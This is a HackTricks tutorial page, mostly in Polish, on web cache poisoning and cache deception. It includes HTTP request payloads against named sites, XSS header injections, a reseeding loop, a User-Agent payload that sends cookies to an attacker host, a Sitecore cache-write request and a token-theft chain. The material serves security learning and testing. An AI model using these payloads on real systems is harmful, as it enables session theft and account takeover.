Cache Poisoning and Cache Deception
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Różnica
Jaka jest różnica między web cache poisoning a web cache deception?
- In web cache poisoning, atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
- In web cache deception, atakujący powoduje, że aplikacja zapisuje w cache wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache.
Cache Poisoning
Cache poisoning ma na celu manipulację client-side cache, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Zakres wpływu zależy od popularności zaatakowanej strony, ponieważ skażona odpowiedź jest serwowana tylko użytkownikom odwiedzającym stronę w czasie trwania zanieczyszczenia cache.
Wykonanie ataku cache poisoning obejmuje kilka kroków:
- Identification of Unkeyed Inputs: Są to parametry, które choć nie są potrzebne, aby żądanie zostało zapisane w cache, mogą zmieniać odpowiedź zwracaną przez serwer. Zidentyfikowanie tych wejść jest kluczowe, ponieważ można je wykorzystać do manipulacji cache.
- Exploitation of the Unkeyed Inputs: Po zidentyfikowaniu unkeyed inputs kolejnym krokiem jest ustalenie, jak nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
- Ensuring the Poisoned Response is Cached: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas skażenia cache otrzyma skażoną odpowiedź.
Odkrywanie: Sprawdź nagłówki HTTP
Zazwyczaj, gdy odpowiedź została stored in the cache, pojawi się nagłówek to wskazujący — możesz sprawdzić, na które nagłówki zwracać uwagę w tym wpisie: HTTP Cache headers.
Odkrywanie: Buforowanie kodów błędów
Jeśli podejrzewasz, że odpowiedź jest zapisywana w cache, możesz spróbować wysłać żądania z błędnym nagłówkiem, które powinny zostać obsłużone statusem 400. Następnie spróbuj uzyskać dostęp do żądania normalnie i jeśli odpowiedź ma status 400, wiesz, że jest podatne (i możesz nawet wykonać DoS).
Możesz znaleźć więcej opcji w:
Jednakże pamiętaj, że czasami tego typu kody statusu nie są cache’owane, więc ten test może być zawodny.
Odkrywanie: Identify and evaluate unkeyed inputs
Możesz użyć Param Miner do brute-force parametrów i nagłówków, które mogą zmieniać odpowiedź strony. Na przykład strona może używać nagłówka X-Forwarded-For, aby wskazać klientowi, skąd ma załadować skrypt:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Wywołaj szkodliwą odpowiedź od serwera back-end
Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest sanitizowany i gdzie jest odbijany lub wpływa na odpowiedź pochodzącą z nagłówka. Czy da się to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez ciebie kod JS? wykonać DoS?…)
Spraw, aby odpowiedź została zapisana w cache
Po zidentyfikowaniu strony, którą można wykorzystać, odpowiedniego parametru/nagłówka oraz sposobu nadużycia, musisz spowodować zapisanie strony w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to potrwać — może być konieczne wielokrotne próbowanie przez kilka sekund.
Nagłówek X-Cache w odpowiedzi może być bardzo użyteczny, ponieważ może mieć wartość miss gdy żądanie nie było zapisane w cache i wartość hit gdy jest zapisane.
Nagłówek Cache-Control jest również istotny, by wiedzieć, czy zasób jest cache’owany i kiedy nastąpi ponowne cache’owanie: Cache-Control: public, max-age=1800
Inny istotny nagłówek to Vary. Ten nagłówek jest często używany do wskazywania dodatkowych nagłówków, które są traktowane jako część klucza cache nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli atakujący zna User-Agent ofiary, którą chce zaatakować, może poison the cache dla użytkowników korzystających z tego konkretnego User-Agent.
Jeszcze jeden nagłówek związany z cache to Age. Określa on czas w sekundach, przez jaki obiekt przebywał w cache proxy.
Podczas cachowania żądania bądź ostrożny z nagłówkami, których używasz, ponieważ niektóre z nich mogą być użyte nieoczekiwanie jako keyed i ofiara będzie musiała używać tego samego nagłówka. Zawsze testuj Cache Poisoning w różnych przeglądarkach, aby sprawdzić, czy działa.
Podstawowe studia przypadku cache poisoning
HackerOne: globalne przekierowanie przez X-Forwarded-Host
- Origin generował szablonowe przekierowania i kanoniczne URL-e z
X-Forwarded-Host, ale klucz cache używał tylko nagłówkaHost, więc jedna odpowiedź zatruła wszystkich odwiedzających/. - Zatruj przy pomocy:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Natychmiast ponownie zażądaj
/bez spoofed header; jeśli redirect persists, masz globalny host-spoofing primitive, który często upgrades reflected redirects/Open Graph links into stored issues.
GitHub repozytorium DoS przez Content-Type + PURGE
- Ruch anonimowy był kluczowany tylko na podstawie ścieżki, podczas gdy backend wchodził w stan błędu po zobaczeniu nieoczekiwanego
Content-Type. Ta odpowiedź z błędem była cache’owalna dla każdego nieautoryzowanego użytkownika repozytorium. - GitHub również (przypadkowo) respektował metodę
PURGE, pozwalając atakującemu wyczyścić zdrowy wpis i wymusić na cache pobranie zatrutej wersji na żądanie:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Zawsze porównuj authenticated vs anonymous cache keys, fuzz rarely keyed headers takie jak
Content-Type, oraz probe exposed cache-maintenance verbs, aby zautomatyzować re-poisoning.
Shopify cross-host persistence loops
- Multi-layer caches czasami wymagają kilku identycznych hitów, zanim zatwierdzą nowy obiekt. Shopify ponownie wykorzystywał ten sam cache w wielu zlokalizowanych hostach, więc persistence oznaczało wpływ na wiele properties.
- Użyj krótkich pętli automatyzacji, aby wielokrotnie reseedować:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Po otrzymaniu odpowiedzi
hit, przeskanuj inne hosty/zasoby, które należą do tej samej przestrzeni nazw cache, aby zademonstrować zasięg oddziaływania między domenami.
Przekierowanie zasobu JS → łańcuch stored XSS
- Prywatne programy często hostują współdzielone JS, takie jak
/assets/main.js, na dziesiątkach subdomen. JeśliX-Forwarded-Hostwpływa na logikę przekierowań dla tych zasobów, ale nie jest uwzględniany w kluczu cache (unkeyed), zbuforowana odpowiedź staje się przekierowaniem 301 do JS atakującego, powodując stored XSS wszędzie tam, gdzie zasób jest importowany.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Zmapuj, które hosty ponownie używają tej samej asset path, aby móc udowodnić multi-subdomain compromise.
GitLab statyczny DoS przez X-HTTP-Method-Override
- GitLab serwował statyczne bundle z Google Cloud Storage, który honoruje
X-HTTP-Method-Override. Zamiana GET na HEAD zwróciła cacheowalny200 OKzContent-Length: 0, a edge cache ignorował metodę HTTP przy generowaniu klucza.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Jedno żądanie zastępowało pakiet JS pustym ciałem dla każdego GET, skutecznie DoSingując UI. Zawsze testuj method overrides (
X-HTTP-Method-Override,X-Method-Override, itd.) względem statycznych zasobów i potwierdź, czy cache różni się w zależności od metody.
HackerOne pętla statycznego zasobu przez X-Forwarded-Scheme
- Rails’ Rack middleware ufało nagłówkowi
X-Forwarded-Schemeprzy podejmowaniu decyzji o wymuszeniu HTTPS. Podszycie się jakohttpwobec/static/logo.pngspowodowało wygenerowanie 301 możliwego do zcache’owania, więc wszyscy użytkownicy później otrzymywali przekierowania (lub pętle) zamiast zasobu:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Kombinuj scheme spoofing z host spoofing, gdy to możliwe, aby tworzyć irreversible redirects dla wysoko widocznych zasobów.
Cloudflare host-header — niezgodność wielkości liter
- Cloudflare znormalizował nagłówek
Hostprzy tworzeniu cache keys, ale przekazywał surowe rozróżnienie wielkości liter do origins. WysłanieHost: TaRgEt.CoMwywołało alternatywne zachowanie w origin routing/templating, jednocześnie zasilając kanoniczny, małymi literami cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Enumeruj tenantów CDN, odtwarzając nazwy hostów z mieszanym użyciem wielkości liter (i inne znormalizowane headers) i porównaj (diff) zbuforowaną odpowiedź z odpowiedzią origin, aby odkryć shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- Wstrzyknięcie
X-Forwarded-Hostwewnątrz tagów Open Graph zamieniło reflected HTML injection w stored XSS, gdy CDN zbuforował stronę. Użyj nieszkodliwego cache bustera podczas testów, aby nie zaszkodzić użytkownikom produkcyjnym:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Scrapery mediów społecznościowych pobierają zbuforowane tagi Open Graph, więc pojedynczy zatruty wpis rozprowadza payload znacznie poza bezpośrednich odwiedzających.
Przykłady wykorzystania
Najprostszy przykład
Nagłówek taki jak X-Forwarded-For jest odzwierciedlany w odpowiedzi w formie niesanitizowanej.
Możesz wysłać podstawowy XSS payload i zatruć cache tak, że każdy, kto odwiedzi stronę, zostanie XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Uwaga: to spowoduje poison żądania do /en?region=uk, a nie do /en
Cache poisoning to DoS
Cache poisoning through CDNs
W this writeup wyjaśniono następujący prosty scenariusz:
- CDN będzie cache’ować wszystko w
/share/ - CDN NIE zdekoduje ani nie znormalizuje
%2F..%2F, dlatego może to być użyte jako path traversal to access other sensitive locations that will be cached jakhttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Serwer webowy ZDEKODUJE i znormalizuje
%2F..%2F, i odpowie/api/auth/session, który contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies mogą również być odzwierciedlane w odpowiedzi strony. Jeśli możesz to nadużyć, aby spowodować XSS, na przykład, możesz wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache.
Generowanie rozbieżności za pomocą separatorów, normalizacji i kropek
Sprawdź:
Cache Poisoning via URL discrepancies
Cache poisoning przy użyciu path traversal, aby ukraść API key
This writeup explains jak było możliwe wykradzenie OpenAI API key przy użyciu URL takiego jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, ponieważ wszystko pasujące do /share/* będzie cachowane bez Cloudflare normalising the URL, co było wykonywane, gdy żądanie dotarło do serwera.
To też jest wyjaśnione szerzej w:
Cache Poisoning via URL discrepancies
Korzystanie z wielu nagłówków, aby wykorzystać web cache poisoning vulnerabilities
Czasami trzeba exploit several unkeyed inputs, żeby móc nadużyć cache. Na przykład możesz znaleźć Open redirect jeśli ustawisz X-Forwarded-Host na domenę kontrolowaną przez ciebie i X-Forwarded-Scheme na http. If the server is forwarding all the HTTP requests to HTTPS i używa nagłówka X-Forwarded-Scheme jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie przekierowanie wskaże stronę.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploiting z ograniczonym Varyheader
Jeśli stwierdzisz, że nagłówek X-Host jest używany jako nazwa domeny do ładowania zasobu JS, ale nagłówek Vary w odpowiedzi wskazuje User-Agent. Wtedy musisz znaleźć sposób, aby exfiltrate the User-Agent of the victim i poison the cache, używając tego User-Agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Wyślij żądanie GET z request w URL i w body. Jeśli serwer WWW użyje wartości z body, ale serwer cache zapisze wartość z URL, każdy uzyskujący dostęp do tego URL faktycznie użyje parametru z body. Jak vuln znaleziony przez James Kettle na stronie Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Jest lab PortSwigger dotyczący tego: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Na przykład na serwerach Ruby można oddzielać parametry znakiem ; zamiast &. Można to wykorzystać do umieszczenia wartości parametrów bez klucza wewnątrz parametrów z kluczami i nadużyć tego.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Dowiedz się tutaj, jak przeprowadzać Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:
- Główny HTML odzwierciedlał nieufny nagłówek żądania (np.
User-Agent) w kontekście wykonywalnym. - CDN usuwał nagłówki dotyczące cache, ale istniał wewnętrzny/origin cache. CDN również automatycznie cachował żądania kończące się statycznymi rozszerzeniami (np.
.js), podczas gdy WAF stosował słabszą inspekcję treści dla GETs zasobów statycznych. - Dziwactwa przepływu żądań pozwalały żądaniu do ścieżki
.jswpłynąć na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez odzwierciedlanie nagłówka.
Praktyczny przepis (zaobserwowany w popularnym CDN/WAF):
- Z czystego IP (unikaj obniżenia reputacji z poprzednich żądań), ustaw złośliwy
User-Agentprzez przeglądarkę lub Burp Proxy Match & Replace. - W Burp Repeater przygotuj grupę dwóch żądań i użyj “Send group in parallel” (single-packet mode działa najlepiej):
- Pierwsze żądanie: GET do zasobu
.jsna tym samym originie, wysyłając złośliwyUser-Agent. - Bezpośrednio po nim: GET główną stronę (
/).
- Wyścig routingu CDN/WAF wraz z automatycznym cachowaniem
.jsczęsto powoduje zaszczepienie zatrutego wariantu cachowanego HTML, który jest potem serwowany innym odwiedzającym spełniającym te same warunki cache key (np. te same wymiaryVary, takie jakUser-Agent).
Przykładowy header payload (do exfiltracji ciasteczek non-HttpOnly):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Wskazówki operacyjne:
- Wiele CDNs ukrywa nagłówki cache; poisoning może być widoczny dopiero w cyklach odświeżania trwających wiele godzin. Użyj wielu vantage IPs i throttle, aby uniknąć rate-limitów lub wyzwalaczy reputacji.
- Użycie IP z własnej chmury CDN czasami poprawia spójność routingu.
- Jeśli obecny jest ścisły CSP, to nadal działa, jeśli reflection wykonuje się w głównym kontekście HTML i CSP pozwala na inline execution lub jest obejściem w danym kontekście.
Wpływ:
- Jeśli session cookies aren’t
HttpOnly, zero-click ATO jest możliwy poprzez mass-exfiltratingdocument.cookieod wszystkich użytkowników, którym serwowany jest poisoned HTML.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
Szczegóły (cache key construction, ItemService enumeration oraz chained post‑auth deserialization RCE):
Przykłady podatności
Apache Traffic Server (CVE-2021-27577)
ATS przekazywał fragment znajdujący się w URL bez jego usunięcia i generował cache key używając tylko hosta, ścieżki i query (ignorując fragment). Zatem żądanie /#/../?r=javascript:alert(1) było wysyłane do backendu jako /#/../?r=javascript:alert(1) a cache key nie zawierał payloadu — tylko host, path i query.
403 i Storage Buckets
Cloudflare wcześniej cache’ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization skutkowała odpowiedzią 403, która była cache’owana. Chociaż Cloudflare zaprzestał cache’owania odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
Wstrzykiwanie parametrów uwzględnianych w cache key
Cache często uwzględniają konkretne parametry GET w cache key. Na przykład Varnish od Fastly cache’ował parametr size w żądaniach. Jednak jeśli wersja parametru w URL-encoded (np. siz%65) była również wysyłana z błędną wartością, cache key był konstruowany używając poprawnego parametru size. Niemniej backend przetwarzał wartość z URL-encoded parametru. URL-encoding drugiego parametru size powodował jego pominięcie przez cache, ale jego użycie przez backend. Przypisanie wartości 0 temu parametrowi skutkowało cache’owalnym błędem 400 Bad Request.
User Agent Rules
Niektórzy deweloperzy blokują żądania z user-agentami pasującymi do narzędzi generujących duży ruch, takich jak FFUF czy Nuclei, aby ograniczyć obciążenie serwera. Paradoksalnie, takie podejście może wprowadzić luki, np. cache poisoning i DoS.
Illegal Header Fields
RFC7230 określa dopuszczalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zdefiniowanego zakresu tchar powinny w idealnym przypadku powodować 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Przykładowo Akamai przekazywał nagłówki z nieprawidłowymi znakami i cache’ował każdy błąd 400, o ile nagłówek cache-control nie był obecny. Zidentyfikowano podatny wzorzec, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak \, skutkowało cache’owalnym błędem 400 Bad Request.
Znajdowanie nowych nagłówków
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
Przede wszystkim zwróć uwagę, że extensions takie jak .css, .js, .png itd. są zwykle konfigurowane, aby być zapisywane w cache. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, cache prawdopodobnie zapisze odpowiedź, ponieważ rozpoznaje rozszerzenie .js. Ale jeśli aplikacja odpowiada z wrażliwymi danymi użytkownika przechowywanymi w www.example.com/profile.php, możesz ukraść te dane od innych użytkowników.
Inne rzeczy do przetestowania:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Kolejny bardzo jasny przykład można znaleźć w tym write-upie: https://hackerone.com/reports/593712.
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę jak http://www.example.com/home.php/non-existent.css, zawartość http://www.example.com/home.php (z wrażliwymi informacjami użytkownika) zostanie zwrócona, a serwer cache zapisze wynik.
Następnie attacker może odwiedzić http://www.example.com/home.php/non-existent.css w swojej przeglądarce i zobaczyć poufne informacje użytkowników, którzy wcześniej odwiedzili stronę.
Zauważ, że cache proxy musi być skonfigurowany, aby cache’ować pliki na podstawie rozszerzenia pliku (.css) a nie na podstawie content-type. W przykładzie http://www.example.com/home.php/non-existent.css będzie miał content-type text/html zamiast text/css.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
Ten wzorzec łączy Client-Side Path Traversal (CSPT) w Single-Page App (SPA) z cache’owaniem na podstawie rozszerzeń przez CDN, aby publicznie zcache’ować wrażliwe JSON, które pierwotnie były dostępne tylko przez uwierzytelnione wywołanie API.
Ogólna idea:
- Wrażliwy endpoint API wymaga niestandardowego nagłówka autoryzacji i jest poprawnie oznaczony jako nie-cache’owalny przez origin.
- Dodanie statycznie wyglądającego sufiksu (np. .css) powoduje, że CDN traktuje ścieżkę jako zasób statyczny i cache’uje odpowiedź, często bez uwzględniania wahań wrażliwych nagłówków.
- SPA zawiera CSPT: konkatenację kontrolowanego przez użytkownika segmentu ścieżki do URL API przy jednoczesnym dołączeniu nagłówka autoryzacji ofiary (np. X-Auth-Token). Poprzez wstrzyknięcie ../.. traversal, uwierzytelnione fetch jest przekierowywane do wariantu ścieżki z rozszerzeniem (…/v1/token.css), co powoduje, że CDN zapisuje JSON tokenu ofiary pod publicznym cache key.
- Każdy może potem wykonać GET tego samego cache key bez uwierzytelniania i pobrać token ofiary.
Example
- Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Sufiks wyglądający na statyczny sprawia, że CDN traktuje odpowiedź jako cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT w SPA dołącza auth header i umożliwia traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Łańcuch ataku:
- Zwab ofiarę na URL, który wstrzykuje dot-segments do parametru ścieżki SPA, np.:
- SPA wykonuje uwierzytelnione fetch do:
- Normalizacja przez przeglądarkę rozwiązuje to do:
- CDN traktuje .css jako zasób statyczny i cache’uje JSON z Cache-Control: public, max-age=…
- Dostęp publiczny: każdy może potem wykonać GET https://api.example.com/v1/token.css i uzyskać zbuforowany JSON z tokenem.
Preconditions
- SPA wykonuje uwierzytelnione fetch/XHR do tego samego origin API (lub cross-origin z działającym CORS) i dołącza wrażliwe nagłówki lub bearer tokens.
- Edge/CDN stosuje cache’owanie oparte na rozszerzeniach dla ścieżek wyglądających na statyczne (np. *.css, *.js, images) i nie uwzględnia w kluczu cache wrażliwego nagłówka.
- Origin dla bazowego endpointu jest nie-cache’owalny (właściwe), ale wariant z dodanym rozszerzeniem jest dozwolony lub nie jest blokowany przez reguły edge.
Validation checklist
- Zidentyfikuj wrażliwe, dynamiczne endpointy i spróbuj sufiksów takich jak .css, .js, .jpg, .json. Szukaj Cache-Control: public/max-age i X-Cache: Hit (lub równoważnych, np. CF-Cache-Status) przy jednoczesnym zachowaniu treści w formacie JSON.
- Znajdź kod klienta, który konkatenatuje dane kontrolowane przez użytkownika do ścieżek API, jednocześnie dołączając auth headers. Wstrzyknij sekwencje ../, aby przekierować uwierzytelnione żądanie na docelowy endpoint.
- Potwierdź, że uwierzytelniony nagłówek jest obecny w przetargetowanym żądaniu (np. w proxy lub w logach serwera) oraz że CDN cache’uje odpowiedź pod przebywaną ścieżką.
- Z nowego kontekstu (bez auth) wykonaj żądanie tej samej ścieżki i potwierdź, że tajny JSON jest serwowany z cache.
Automatic Tools
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- CacheDecepHound: Python scanner designed to detect Cache Deception vulnerabilities in web servers.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


